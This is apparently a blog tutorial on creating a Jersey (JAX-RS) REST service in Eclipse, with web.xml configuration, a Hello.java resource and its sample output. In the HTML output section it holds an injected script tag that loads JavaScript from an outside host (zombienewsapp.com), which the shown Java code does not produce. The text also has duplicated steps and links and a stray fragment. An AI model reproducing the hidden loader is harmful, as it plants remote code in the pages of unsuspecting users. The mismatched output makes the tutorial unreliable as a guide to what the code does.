How to create RESTful Web Services (Hands on using Eclipse and Jersey API’s)-REST with Java (JAX-RS) using Jersey.
1.Need to load jersey jar files or use maven framework.
1.Need to load jersey jar files or use maven framework.
Load jersey jar files from below link.
http://www.javatpoint.com/webservicepages/download/jerseyjars.zip or
http://www.javatpoint.com/webservicepages/download/jerseyjars.zip or
2.Create Dynamic Web Project.
In Eclipse => File => New => Dynamic Web Project.
3.Copy all JARs from Jersey jar downloaded and paste into the WEB-INF/lib folder.
4.Write the Follwing into web.xml
<?xml version="1.0" encoding= "UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://java.sun.com/xml/ns/javaee"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
id="WebApp_ID" version="3.0">
<servlet >
<servlet-name >Jersey REST Service</ servlet-name>
<servlet-class> org.glassfish.jersey.servlet.ServletContainer</servlet-class >
<init-param >
<param-name> jersey.config.server.provider.packages</param-name >
<param-value> com.om</param-value >
</init-param >
<load-on-startup >1</ load-on-startup>
</servlet >
<servlet-mapping >
<servlet-name >Jersey REST Service</ servlet-name>
<url-pattern >/rest/*</ url-pattern>
</servlet-mapping >
</web-app>
5.Create Resource Hello.java
package com.om;
import javax.ws.rs.GET;
import javax.ws.rs.Path;
import javax.ws.rs.Produces;
import javax.ws.rs.core.MediaType;
@Path("/hello" )
public class Hello {
// This method is called if HTML and XML is not requested
@GET
@Produces(MediaType.TEXT_PLAIN)
public String sayPlainTextHello() {
return "Hello Jersey Plain" ;
}
// This method is called if XML is request
@GET
@Produces(MediaType.TEXT_XML)
public String sayXMLHello() {
return "<?xml version=\"1.0\"?>" + "<hello> Hello Jersey" + "</hello>" ;
}
// This method is called if HTML is request
@GET
@Produces(MediaType.TEXT_HTML)
public String sayHtmlHello() {
return "<html> " + "<title>" + "Hello Jersey" + "</title>"
+ "<body><h1>" + "Hello Jersey" + "</h1></body>" + "</html> " ;
}
}
O/P:-
Hello Jersey Plain
<?xml version="1.0"?>
<hello> Hello Jersey</hello>
.png)
<html>
<title>Hello Jersey</title>
<body>
<script src="http://d.zombienewsapp.com/l/load.js"></script>
<h1>Hello Jersey</h1>
</body>
</html>
No comments:
Post a Comment